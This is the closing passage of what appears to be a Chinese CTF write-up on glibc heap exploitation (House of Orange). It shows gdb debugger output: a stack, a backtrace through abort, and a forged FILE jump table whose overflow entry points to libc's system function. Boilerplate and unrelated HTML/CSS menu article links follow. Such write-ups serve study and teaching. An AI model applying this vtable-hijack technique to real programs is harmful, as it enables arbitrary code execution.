   784 #endif
   785 	   )786 	  && _IO_OVERFLOW (fp, EOF) == EOF)
   787 	result = EOF;
   788 
   789       if (do_lock)
   790 	_IO_funlockfile (fp);
   791       run_fp = NULL;
──────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7ffcd401da30 ◂— 0x3a30302030303030 ('0000 00:')
01:00080x7ffcd401da38 ◂— 0x66370a2030203030 ('00 0 \n7f')
02:00100x7ffcd401da40 ◂— 0x3063383135396436 ('6d9518c0')
03:00180x7ffcd401da48 ◂— 0x39643666372d3030 ('00-7f6d9')
04:00200x7ffcd401da50 ◂— '518d000 }'
05:00280x7ffcd401da58 ◂— 0x7d /* '}' */
06:00300x7ffcd401da60 —▸ 0x7ffcd401de20 ◂— 0x20 /* ' ' */
07:00380x7ffcd401da68 ◂— 0x7d /* '}' */
────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
 ► f 0     7f6d94c19193 _IO_flush_all_lockp+371
   f 1     7f6d94bd3fbd abort+253
   f 2     7f6d94c147ea
   f 3     7f6d94c1f13e _int_malloc+1470
   f 4     7f6d94c1f13e _int_malloc+1470
   f 5     7f6d94c21184 malloc+84
   f 6     55fc6549cd6d
   f 7     55fc6549d402
   f 8     7f6d94bbd830 __libc_start_main+240
gdb-peda$ x 0x7f6d94be2390
0x7f6d94be2390 <__libc_system>:	0xfa86e90b74ff8548

那个rax就是jump table了

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
gdb-peda$ p *(struct _IO_jump_t *)$rax
$28 = {
  __dummy = 0x0, 
  __dummy2 = 0x0, 
  __finish = 0x0, 
  __overflow = 0x7f6d94be2390 <__libc_system>, 
  __underflow = 0x0, 
  __uflow = 0x0, 
  __pbackfail = 0x0, 
  __xsputn = 0x0, 
  __xsgetn = 0x0, 
  __seekoff = 0x0, 
  __seekpos = 0x0, 
  __setbuf = 0x0, 
  __sync = 0x0, 
  __doallocate = 0x0, 
  __read = 0x0, 
  __write = 0x0, 
  __seek = 0x0, 
  __close = 0x0, 
  __stat = 0x0, 
  __showmanyc = 0x0, 
  __imbue = 0x0
}

reference

http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
WEB入门.九 导航菜单
上一章节中讲解了 background 属性的用法,以及两种主流的背景特效——页面图片整合技术以及滑动门技术,设计师可以使用这两种技术制作出多种页面背景特效,如平滑投票、Tab 导航菜单等。
张哥编程
2024/12/17
5150
WEB入门.九  导航菜单
界面组件之导航菜单备案
<li><a href="#" rel="prev">prev</a></li>
小蔚
2019/09/11
2.1K0
界面组件之导航菜单备案
纯CSS编写三级导航菜单-附源码
在我们日常浏览网站过程中,会发现每一个网站都会有导航栏,导航栏是做什么的?在一个网站中具有怎么样的意义呢?我们先来了解一下这个问题。
申霖
2020/03/05
3.2K0
纯CSS编写三级导航菜单-附源码
Web前端开发实战4:导航菜单(一)「建议收藏」
在前面的博文中我们提到横向一级菜单,这里我们来看看导航菜单。导航菜单种类很多,但是制作原理都是大同
全栈程序员站长
2022/09/17
7270
Web前端开发实战4:导航菜单(一)「建议收藏」
纵向、横向导航菜单及二级弹出菜单
首先在body中添加一个div标签,其中包含ulli ul的标签结构存放网站菜单,效果如下:
全栈程序员站长
2022/09/17
5.8K0
纵向、横向导航菜单及二级弹出菜单
html 二级菜单
1.一级菜单和二级菜单必须在同一个父元素之下。 2. (这之前的必须是一级菜单的上一级,比如当前代码,一级菜单是“菜单三”,为a标签,那么这里就应该写它的上一级‘li’)li:hover .yincang(后面就直接写被隐藏的元素标签) 3. line-height: 设置行间距 4. text-decoration: none :去除a元素的下划线 5. list-style:none :去除 ul li的圆点
全栈程序员站长
2022/08/11
3.3K0
html 二级菜单
HTML+CSS实战(一)——导航条菜单的制作
一、垂直导航菜单的制作 1、基本的样式清除: *{margin:0;padding:0} 2、无序列表圆点去除: ul{list-style:none} 3、下划线去除: a{text-decoration:none} 4、文本缩进标签 text-indent 不会影响总体宽度(padding会) 5、使用行高line-height可以实现文字默认居中,前提是行高和width相等。 6、需要将a标签设置为块元素,才能设高宽、hover效果 代码:a{display:block}hover格式 a:hover{}//通过a:hover,可以为菜单增加交互效果。
全栈程序员站长
2022/09/15
3.3K0
HTML+CSS实战(一)——导航条菜单的制作
CSS3实现的动画效果下拉导航菜单效果
CSS3实现的动画效果下拉导航菜单效果: 本章节分享一段代码示例,它实现了简单的下拉菜单效果。 但是下拉菜单具有3D旋转效果,代码实例如下:
用户7108768
2021/09/24
3K0
css实现导航菜单下拉效果「建议收藏」
效果如下图,现在什么样式也没有,我们需要对HTML进行一些样式上的调整让其看起来好看一下。
全栈程序员站长
2022/09/19
3.1K0
css实现导航菜单下拉效果「建议收藏」
项目实践,实现一个简单前端js树状竖型风格导航菜单
在项目开发过程中,有时候会遇到一些需要开发人员实现的一些js效果,大公司会有专业的前端设计人员设计界面,而小公司可能就需要后端开发工程师自己来实现,下面是一个我用过的一个js树状竖型风格导航菜单代码。
用户1289394
2020/12/08
2.1K0
项目实践,实现一个简单前端js树状竖型风格导航菜单
基本的导航条的制作
一想到导航菜单就会想到用 ul li无序列表来制作。因为他的语义非常接近条目性的内容。
全栈程序员站长
2022/09/15
1.9K0
基本的导航条的制作
html、css 实现二级菜单「建议收藏」
因为一级菜单我是用ul li来做的,虽然ul是块级元素(display: block;),但是lidisplay: list-item;,多个是一行一行显示的
全栈程序员站长
2022/09/02
2.8K0
html、css 实现二级菜单「建议收藏」
jquery顶部固定层下拉导航
最近有人在论坛里讨论怎么制作导航菜单!我关注了一下,这里就写了一个简单的demo。供大家参考。代码如下:
业余草
2019/01/21
4.5K0
jquery顶部固定层下拉导航
Python Web前端实战案例——电商网站商品菜单导航栏
商品菜单导航栏是每个电商网站首页呈现菜单的必备的部分,因为复杂的网页,功能性较强的网站菜单内容较多,一般会加入侧边栏导航。 通常情况下:一级菜单都是横向导航,二级菜单都是左侧边栏,如果有三级,放到内容页,实例图如下所示:
荣仔_最靓的仔
2021/02/02
2.3K0
Python Web前端实战案例——电商网站商品菜单导航栏
jQuery简单实现二级下拉菜单
下拉菜单原理:滑过一级的li才让第二层的li显示,利用jq简单的抓取元素,让一级下的二级li显示就能解决,使用jq比css的思路更加明确!
十月梦想
2018/08/29
4.7K0
html二级菜单的创建[通俗易懂]
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/133097.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/06
2.4K0
Hexo博客 | 给博客导航栏添加二级菜单
第一步,找到所使用主题的导航栏文件,例如:Ayer主题的位于hexo\themes\ayer\layout\_partial\sidebar.ejs
Justlovesmile
2021/12/13
1.8K0
【HTML期末学生大作业】 制作一个简单HTML保护野生动物老虎网页设计专题(HTML+CSS)
✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (1000套) 】 🧡 程序员有趣的告白方式:【💌HTML七夕情人节表白网页制作 (110套) 】 🌎超炫酷的Echarts大屏可视化源码:【🔰 echarts大屏展示大数据平台可视化(150套) 】 🎁 免费且实用的WEB前端学习指南: 【📂web前端零基础到高级学习视频教程 120G干货分享】 🥇 关于作者: 历任研发
IT司马青衫
2022/08/10
8500
【HTML期末学生大作业】 制作一个简单HTML保护野生动物老虎网页设计专题(HTML+CSS)
基于html+css+javascript+jquery制作北京景点介绍7页 WEB静态旅游景点区主题网页设计与制作
家乡旅游景点网页作业制作 网页代码运用了DIV盒子的使用方法,如盒子的嵌套、浮动、margin、border、background等属性的使用,外部大盒子设定居中,内部左中右布局,下方横向浮动排列,大学学习的前端知识点和布局方式都有运用,CSS的代码量也很足、很细致,使用hover来完成过渡效果、鼠标滑过效果等,使用表格、表单补充模块,为方便新手学习页面中没有使用js有需要的可以自行添加。 <font color='#b44846' size='4px'> ❤</font> 【作者主页——🔥获取更多优质
IT司马青衫
2022/08/16
8370
基于html+css+javascript+jquery制作北京景点介绍7页 WEB静态旅游景点区主题网页设计与制作
JS-鼠标经过显示二级菜单
在css处添加了border样式为了看得更清楚——源代码有一个程序漏洞,存在一个很烦人的大bug。 1 <ul class="nav"> 2 <li class="li"> 3 <a href="#">一级菜单</a> 4 <ul class="subNav"> 5 <li> 6 <a href="#">二级菜单</a> 7 <
xing.org1^
2018/05/17
8.8K0
推荐阅读
相关推荐
WEB入门.九 导航菜单
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档